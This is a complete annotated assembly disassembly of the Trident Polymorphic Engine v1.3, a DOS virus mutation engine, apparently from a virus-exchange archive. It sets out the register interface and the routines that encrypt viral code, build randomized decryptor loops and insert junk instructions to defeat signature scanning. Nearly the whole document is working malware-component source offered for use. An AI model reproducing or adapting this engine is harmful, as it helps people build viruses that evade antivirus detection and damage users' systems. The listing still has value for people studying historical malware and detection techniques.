home *** CD-ROM | disk | FTP | other *** search
- .radix 16
-
- ;=============================================================================
- ; =
- ; Trident Polymorphic Engine v1.3 =
- ; ------------------------------- =
- ; =
- ; Dissassembled by: Lucifer Messiah -- ANARKICK SYSTEMS =
- ; =
- ; This dissassembly uses as many of the labels from the =
- ; TPE v1.2 dissassembly as possible, to allow comparison =
- ; =
- ;----------------------------------------------------------------------------=
- ; =
- ; Trident Polymorphic Engine v1.3 =
- ; ------------------------------- =
- ; =
- ; Input: =
- ; ES Work Segment =
- ; DS:DX Code to be encrypted =
- ; BP Becomes offset of TPE =
- ; SI Distance to put betwen decryptor and code =
- ; CX Length of code to encrypt =
- ; AX Bit Field Flags: bit 0: DS will not be equal to CS =
- ; bit 1: insert random instructions =
- ; bit 2: put junk before decryptor =
- ; bit 3: Preserve AX with decryptor =
- ; =
- ; Output: =
- ; ES Work segment (preserved) =
- ; DS:DX Decryptor + encrypted code =
- ; BP Start of decryptor =
- ; DI Length of decryuptor/offset of encrypted code =
- ; CX Length of decryptor + encrypted code =
- ; AX Length of encrypted code =
- ; =
- ;=============================================================================
-
- .model tiny
- .code
-
- public rnd_init
- public rnd_get
- public crypt
- public tpe_top
- public tpe_bottom
-
-
- org 100h
-
- tpe_top equ $
- db '[ MK / TridenT ]' ;Encryptor name
- crypt:
- push ds ;save registers
- push dx
- push si
- push cs
- pop ds
- call TPE_13
-
- TPE_13:
- pop si
- sub si,offset TPE_13 ;get delta offset
-
- xor di,di ;di=start of decryptor
- mov byte ptr flags[si],al
- test al,08
- je no_push
- mov al,50h
- stosb
-
- no_push:
- call rnd_get ;add a few bytes to cx
- and ax,1fh
- add cx,ax
- push cx ;save length of code
- call rnd_get ;get random flags
- xchg ax,bx
-
- ;--- Flags: -----------------------------------------------
- ;
- ; 0,1 encryption method
- ; 2,3 which registers to use in encryption engine
- ; 4 use byte or word for encrypt
- ; 5 MOV AL, MOV AH, or MOV AX
- ; 6 MOV CL, MOV CH, or MOV CX
- ; 7 AX or DX
- ; 8 count up or down
- ; 9 ADD/SUB/INC/DEC or CMPSW/SCASW
- ; A ADD/SUB or INC/DEC
- ; CMPSW or SCASW
- ; B offset in XOR instrucion?
- ; C LOOPNZ or LOOP
- ; SUB CX or DEC CX
- ; D carry with crypt ADD/SUB
- ; E carry with inc ADD/SUB
- ; F XOR instruction value or AX/DX
- ;
- ;----------------------------------------------------------
-
- random:
- call rnd_not_0 ;get encryption value
- mov word ptr xor_val[si],ax ;store it
-
- call do_junk ;insert random instructions
- pop cx
- mov ax,0111h ;make flags to remember which
- test bl,20h ; MOV instructions are used
- jne z0
- xor al,07
-
- z0:
- test bl,0ch
- jne z1
- xor al,70h
-
- z1:
- test bl,40h
- jne z2
- xor ah,07
-
- z2:
- test bl,10h
- jne z3
- and al,73h
-
- z3:
- test bh,80h
- jne z4
- and al,70h
-
- z4:
- mov dx,ax
-
- mov_lup:
- call rnd_get ;put MOV instructions in a
- and ax,000fh ; random order
- cmp al,0ah
- ja mov_lup
- mov word ptr store_mov[si],ax ; Why????
- push cx ;test if MOV already done
- xchg ax,cx
- mov ax,0001h
- shl ax,cl
- mov cx,ax
- and cx,dx
- pop cx
- je mov_lup
- xor dx,ax ;remember which MOV done
-
- push dx
- call do_mov ;insert MOV instruction
- call do_nop ;insert a random NOP
- pop dx
- or dx,dx ;all MOVs done?
- jne mov_lup
- push di ;save start of decryptor loop
- call do_add_ax ;add a value to AX in loop?
- call do_nop
- test bh,20h ;carry with ADD/SUB?
- je no_clc
- mov al,0f8h
- stosb
-
- no_clc:
- mov word ptr xor_offset[si],0000h
- call do_xor ;place all loop instructions
- call do_nop
- call do_add
- pop dx ;get start of decryptor loop
- call do_loop
- test byte ptr flags[si],08 ;insert POP AX??
- je no_pop
- mov al,58h
- stosb
-
- no_pop:
- mov ax,di ;calculate loop offset
- add ax,bp
- pop dx
- add ax,dx
- sub ax,word ptr xor_offset[si]
- push di
- mov di,word ptr where_len[si]
- test bl,0ch ;are BL,BH used for encryption?
- jne v2
- mov byte ptr es:[di],al
- mov di,word ptr where_len2[si]
- mov byte ptr es:[di],ah
- jmp short v3
-
- v2:
- mov word ptr es:[di],ax
-
- v3:
- pop di
- mov dx,word ptr xor_val[si]
- mov bp,word ptr add_val[si]
- pop si ;ds:si=start of code
- pop ds
- push di ;save pointer to encrypted code
- push cx ;save length of encrypted code
- test bl,10h ;byte or word?
- je blup
- inc cx ;cx=# of crypts (words)
- shr cx,1
-
- lup:
- lodsw ;encrypt code (words)
- call do_encrypt
- stosw
- loop lup
- jmp short klaar
-
- blup:
- lodsb ;encrypt code (bytes)
- xor dh,dh
- call do_encrypt
- stosb
- loop blup
-
- klaar:
- mov cx,di ;cx=length decryptor + code
- pop ax ;ax=length of decrypted code
- pop di ;offset encrypted code
- xor dx,dx ;ds:dx=decryptor + cr. code
- push es
- pop ds
- retn
-
- ;--- Encrypt the Code -------------------------------------
-
- do_encrypt:
- add dx,bp
- test bl,02
- jne lup1
- xor ax,dx
- retn
-
- lup1:
- test bl,01
- jne lup2
- sub ax,dx
- retn
-
- lup2:
- add ax,dx
- retn
-
- ;--- Generate MOV reg,xxxx --------------------------------
-
- do_mov:
- mov dx,word ptr mov_byte[si]
- push bx
- mov bx,dx
- mov al,byte ptr mov_here[bx+si]
-
- pop bx
- cmp dl,04 ; bx???
- jne is_not_bx
- call add_ind
-
- is_not_bx:
- test dl,0ch ; a*?
- pushf
- jne is_not_a
- test bl,80h ; a* or d*?
- je is_not_a
- add al,02
-
- is_not_a:
- call alter ; insert the MOV
- popf ; a*
- jne is_not_a2
- mov ax,word ptr xor_val[si]
- jmp short sss
-
- is_not_a2:
- test dl,08 ; b*?
- jne is_not_b
- push bx
- lea bx,word ptr where_len[si]
- test dl,02
- je is_not_bh
- add bx,02
-
- is_not_bh:
- mov word ptr [bx],di
- pop bx
- jmp short sss
-
- is_not_b:
- mov ax,cx ;c*?
- test bl,10h ;byte or word encryption?
- je sss
- inc ax ;only half the number of bytes
- shr ax,1
-
- sss:
- test dl,03 ;byte or word register?
- je is_x
- test dl,02 ;*h?
- je is_not_h
- xchg ah,al
-
- is_not_h:
- stosb
- retn
-
- is_x:
- stosw
- retn
-
- ;--- Insert MOV or alternative for MOV --------------------
-
- alter:
- push bx
- push cx
- push ax
- call rnd_get
- xchg ax,bx
- pop ax
- test bl,03 ;use alternative for MOV?
- je no_alter
-
- push ax
- and bx,0fh
- and al,08
- shl ax,1
- or bx,ax
- pop ax
-
- and al,07
- mov cl,09
- xchg ax,cx
- mul cl
-
- add ax,30c0h
- xchg ah,al
- test bl,04
- je no_sub
- mov al,28h
- no_sub: call maybe_2
- stosw
-
- mov al,80h
- call maybe_2
- stosb
-
- xchg ax,bx
- and ax,0003h
- lea bx,word ptr alt_code[si]
- xlat ;AL = DS:[BX+AL]
- add al,cl
-
- no_alter: stosb
- pop cx
- pop bx
- retn
-
- ;--- Insert ADD AX,XXXX -----------------------------------
-
- do_add_ax:
- push cx
- mov word ptr add_val[si],0 ;save ADD value here
-
- mov ax,bx
- and ax,8110h
- xor ax,8010h
- jne no_add_ax ;use ADD?
-
- mov ax,bx
- xor ah,ah
- mov cl,03
- div cl
- or ah,ah
- jne no_add_ax ;use ADD?
-
- test bl,80h
- jne do_81C2 ;AX or DX?
- mov al,05
- stosb
- jmp short do_add0
-
- do_81C2: mov ax,0c281h
- stosw
-
- do_add0: call rnd_get
- mov word ptr add_val[si],ax
- stosw
-
- no_add_ax: pop cx
- retn
-
- ;--- generate encryption command --------------------------
-
- do_xor:
- test byte ptr flags[si],01
- je no_cs
- mov al,2eh ;insert CS: instruction
- stosb
-
- no_cs: test bh,80h ;type of XOR command
- je xor1
- call get_xor
- call do_carry
- call save_it
- xor ax,ax
- test bl,80h
- je xxxx
- add al,10h
-
- xxxx:
- call add_dir
- test bh,08
- jne yyyy
- stosb
- retn
-
- yyyy: or al,80h
- stosb
- call rnd_get
- stosw
- mov word ptr xor_offset[si],ax
- retn
-
- xor1: mov al,80h ;encrypt with value
- call save_it
- call get_xor
- call do_carry
- call xxxx
- mov ax,word ptr xor_val[si]
- test bl,10h
- jmp byte_word
-
- ;--- generate increase/decrease command -------------------
-
- do_add:
- test bl,08 ;no CMPSW/SCASW if BX is used
- je da0
- test bh,02 ;ADD/SUB/INC/DEC or CMPSW/SCASW
- jne do_cmpsw
-
-
- da0: test bh,04 ;ADD/SUB or INC/DEC?
- je add1
- mov al,40h ;INC/DEC
-
- add0:
- call add_ind
- stosb
- test bl,10h ;byte or word?
- je return
- stosb ;same instruction again
-
- return: retn
-
- add1: test bh,40h ;ADD/SUB
- je no_clc2 ;carry??
- mov al,0f8h ;insert CLC
- stosb
-
- no_clc2: mov al,83h
- stosb
- mov al,0c0h
- test bh,40h
- je add2
- and al,0cfh
- or al,10h
-
- add2: call add_ind
- stosb
- mov al,01
-
- save_it:
- call add_1
- stosb
- retn
-
- do_cmpsw: test bh,04 ;CMPSW or SCASW
- je normal_cmpsw
- test bl,04 ;no SCASW if SI is used
- jne do_scasw
-
- normal_cmpsw: mov al,0a6h
- jmp short save_it
-
- do_scasw: mov al,0aeh
- jmp short save_it
-
- ;--- generate LOOP command --------------------------------
-
- do_loop:
- test bh,01 ;no JNE if counting down
- jne cx_loop
- mov al,0e0h ;LOOPNZ or LOOP?
- test bh,1ah ; no LOOPNZ if xor-offset
- je l10 ; no LOOPNZ if CMP/SCASW
- add al,02
-
- l10: stosb
- mov ax,dx
- sub ax,di
- dec ax
- stosb
- retn
-
- cx_loop: test bh,10h ;SUB CX or DEC CX??
- jne cxl_dec
- mov al,83h
- stosb
- call rnd_get
- test al,01
- jne b062c9
- mov ax,01e9h
- jmp short asdfasdf
-
- b062c9: mov ax,0ffc1h
-
- asdfasdf: stosw
- jmp short do_jne
-
- cxl_dec: mov al,49h
- stosb
-
- do_jne: call rnd_get
- test al,01
- mov al,7fh
- jne l10
- mov al,75h
- jmp short l10
-
- ;--- add value to AL depending on register type -----------
-
- add_dir:
- push di
- lea di,word ptr dir_change[si]
- jmp short xx1
-
- add_ind:
- push di
- lea di,word ptr ind_change[si]
-
- xx1: push bx
- shr bl,1
- shr bl,1
- and bx,03
- add al,byte ptr [bx+di]
- pop bx
- pop di
- retn
-
- ;--- mov encryption command byte to AL --------------------
-
- get_xor:
- push bx
- xchg ax,bx
- and ax,0003h
- lea bx,word ptr how_mode[si]
- xlat
- pop bx
- retn
-
- ;--- change ADD to ADC ------------------------------------
-
- do_carry:
- test bl,02 ;ADD/SUB used for encryption?
- je no_ac
- test bh,20h
- je no_ac
- and al,0cfh
- or al,10h
-
- no_ac: retn
-
- ;--- change AL (byte/word) --------------------------------
-
- add_1:
- test bl,10h
- je add_1_ret
- inc al
-
- add_1_ret: retn
-
- ;--- change AL (byte/word) --------------------------------
-
- maybe_2:
- call add_1 ;can't touch this
- cmp al,81h
- je maybe_not
- push ax
- call rnd_get
- test al,01
- pop ax
- je maybe_not
- add al,02
-
- maybe_not: retn
-
- ;--- insert random instructions ---------------------------
-
- do_junk:
- test byte ptr flags[si],04
- je no_junk
- call rnd_get ;put a random number of
- and ax,000fh ; dummy instructions before
- inc ax ; decryptor
- xchg ax,cx
- junk_loop: call junk
- loop junk_loop
-
- no_junk: retn
-
- ;--- Insert random nop (or not) ---------------------------
-
- do_nop:
- test byte ptr flags[si],02
-
- yes_nop: je no_nop
- call rnd_get
- test al,03
- je nop8
- test al,02
- je nop16
- test al,01
- je nop16x
-
- no_nop: retn
-
- ;--- get rough random nop (may affect register values -----
-
- junk:
- call rnd_get
- and ax,001eh
- jmp short aa0
-
- nop16x: call rnd_get
- and ax,0006h
-
- aa0: push bx
- xchg ax,bx
- call rnd_get
- mov bx,word ptr junk_cals[bx+si]
- add bx,si
- call bx
- pop bx
- retn
-
- ;--- NOP and junk addresses -------------------------------
-
- junk_cals:
- dw offset nop16x0
- dw offset nop16x1
- dw offset nop16x2
- dw offset nop16x3
- dw offset nop8
- dw offset nop16
- dw offset junk6
- dw offset junk7
- dw offset junk8
- dw offset junk9
- dw offset junkA
- dw offset junkB
- dw offset junkC
- dw offset junkD
- dw offset junkE
- dw offset junkF
-
- ;--- NOP and junk routines --------------------------------
-
- nop16x0:
- add byte ptr [si],cl ; J* 0000 (conditional)
- jo yes_nop ; Jump on Overflow
- retn
-
- nop16x1:
- mov al,0ebh ; JMP xxxx / junk
- and ah,07
- inc ah
- stosw
- xchg ah,al ;get length of bullshit
- cbw ;convrt AL to AX
- jmp fill_bullshit
-
- nop16x2:
- call junkD ; XCHG AX,reg /XCHG AX,reg
- stosb
- retn
-
- nop16x3:
- call junkF ; INC/DEC or DEC/INC
- xor al,08
- stosb
- retn
-
- nop8:
- push bx
- and al,07
- lea bx,word ptr nop_data8[si]
- xlat ; AL = DS:[BX+AL]
- stosb
- pop bx
- retn
-
- nop16: push bx
- and ax,0303h
- lea bx,word ptr nop_data16[si]
- xlat ; AL = DS:[BX+AL]
- add al,ah
- stosb
- call rnd_get
- and al,07
- mov bl,09
- mul bl
- add al,0c0h
- stosb
- pop bx
- retn
-
- junk6:
- push cx
- mov al,0e8h ;CALL xxxx / junk / POP reg
- and ah,0fh
- inc ah
- stosw
- xor al,al
- stosb
- xchg ah,al
- call fill_bullshit
- call do_nop
- call rnd_get ;insert POP reg
- and al,07
- call no_sp
- mov cx,ax
- or al,58h
- stosb
-
- test ch,03 ;more?
- jne junk6_ret
- call do_nop
- mov ax,0f087h ; insert XCHG SI,reg
- or ah,cl
- test ch,08
- je j6_1
- mov al,8bh
-
- j6_1: stosw
- call do_nop
- call rnd_get
- xchg ax,bx
- and bx,0f7fbh ;insert XOR [SI],xxxx
- or bl,08
- call do_xor
-
- junk6_ret: pop cx
- retn
-
- junk7:
- and al,0fh ;MOV reg,xxxx
- or al,0b0h
- call no_sp
- stosb
- test al,08
- pushf
- call rnd_get
- popf
- jmp short byte_word
-
- junk8:
- and ah,39h ;DO r/m,r(8,16)
- or al,0c0h
- call no_sp
- xchg ah,al
- stosw
- retn
-
- junk9:
- and al,3bh ;DO r(8/16),r/m
- or al,02
- and ah,3fh
- test al,01
- je junk9_ret
- or ah,0c0h
-
- junk9_ret: call no_sp2
- call no_bp
- stosw
- retn
-
- junkA:
- and ah,01 ;DO rm,xxxx
- or ax,80c0h
- call no_sp
- xchg ah,al
- stosw
- test al,01
- pushf
- call rnd_get
- popf
- jmp short byte_word
-
- junkB:
- call nop8 ;NOP/LOOP
- mov ax,0fde2h
- stosw
- retn
-
- junkC:
- and al,09 ;CMPS* or SCAS*
- test ah,01
- je mov_test
- or al,0a6h
- and al,0feh
- stosb
- retn
-
- mov_test: or al,0a0h ;MOV AX,[xxxx] or TEST AX,xxxx
- stosb
- cmp al,0a8h
- pushf
- call rnd_not_0
- dec ax
- popf
- jmp short byte_word
-
- junkD:
- and al,07 ; XCHG AX,reg
- or al,90h
- call no_sp
- stosb
- retn
-
-
- junkE:
- and ax,0307h
- or ax,5850h
- stosw
- retn
-
- junkF:
- and al,0fh ; INC/DEC
- or al,40h
- call no_sp
- stosb
- retn
-
- ;--- store a byte or a word -------------------------------
-
- byte_word: je only_byte
- stosw
- retn
-
- only_byte: stosb
- retn
-
- ;--- don't fuck with sp -----------------------------------
-
- no_sp:
- push ax
- and al,07
- cmp al,04
- pop ax
- jne no_sp_ret
- and al,0fbh
-
- no_sp_ret: retn
-
- ;--- don't fuck with sp -----------------------------------
-
- no_sp2:
- push ax
- and ah,38h
- cmp ah,20h
- pop ax
- jne no_sp2_ret
- xor ah,20h
-
- no_sp2_ret: retn
-
- ;--- don't use [bp+..] ------------------------------------
-
- no_bp:
- test ah,04
- jne no_bp2
- and ah,0fdh
- retn
-
- no_bp2: push ax
- and ah,07
- cmp ah,06
- pop ax
- jne no_bp_ret
- or ah,01
-
- no_bp_ret: retn
-
- ;--- write byte for JMP/CALL and fill with random bullshit
-
- fill_bullshit:
- push cx
- xchg ax,cx
-
- bull_lup: call rnd_get
- stosb
- loop bull_lup
- pop cx
- retn
-
- ;--- random number generator ------------------------------
-
- rnd_init:
- push ax
- push cx
- call rnd_init0
- and ax,000fh
- inc ax
- xchg ax,cx
-
- random_lup: call rnd_get ;call random routine a few
- loop random_lup ; times to 'warm up'
-
- pop cx
- pop ax
- retn
-
- rnd_init0:
- push dx ;initialize generator
- push cx
- mov ah,2ch
- int 21h ; get time CH,CL:DH,DL
- in al,40h ; timer
- mov ah,al
- in al,40h ; timer
-
- xor ax,cx
- xor dx,ax
- jmp short move_rnd
-
- rnd_not_0:
- call rnd_get
- or ax,ax
- je rnd_not_0
- retn
-
- rnd_get:
- push dx ;calculate random number
- push cx
- push bx
- in al,40h ;timer
- add ax,0000h ;ERROR: should be MOV ax,0
- mov dx,0000h
- mov cx,0007h
-
- rnd_lup: shl ax,1
- rcl dx,1
- mov bl,al
- xor bl,dh
- jns rnd_12
- inc al
-
- rnd_12: loop rnd_lup
- pop bx
-
- move_rnd: push si
- call mov_rnd2
-
- mov_rnd2:
- pop si
- mov word ptr cs:[si-1Bh],ax ; [si-(rnd_get+4)]
- mov word ptr cs:[si-18h],dx ; [si-(rnd_get+7)]
- pop si
- mov al,dl
- pop cx
- pop dx
- retn
-
- ;--- TABLES FOR ENGINE ------------------------------------
-
- mov_byte: db 0b8,0b0,0b4,00 ;AX,AL,AH,..
- db 0b8,0b3,0b7,00 ;BX,BL,BH,..
- db 0b9,0b1,0b5 ;CX,CL,CH
-
- nop_data8 db 90,0f8,0f9,0f5 ;NOP,CLC,STC,CMC
- db 0fa,0fc,45,4dh ;CLI,CLD,INC BP,DEC BP
-
- nop_data16 db 8,20,84,88 ;OR,AND,XCHG,MOV
-
- dir_change db 7,7,4,5 ;BL/BH,BX,SI,DI
-
- ind_change db 3,3,6,7 ;BL/BH,BX,SI,DI
-
- how_mode db 30,30,0,28 ;XOR,XOR,ADD,SUB
-
- alt_code dw 0c0f0, 0c800 ;????, ADD AL,CL
-
- add_val dw 00
- xor_val dw 00
- xor_offset dw 00
- where_len dw 00
- where_len2 dw 00
- store_mov dw 00
- mov_here = $-1
- flags db 00
-
- ID_Bytes db '[TPE 1.3]'
- tpe_bottom equ $
-
- end crypt
-
-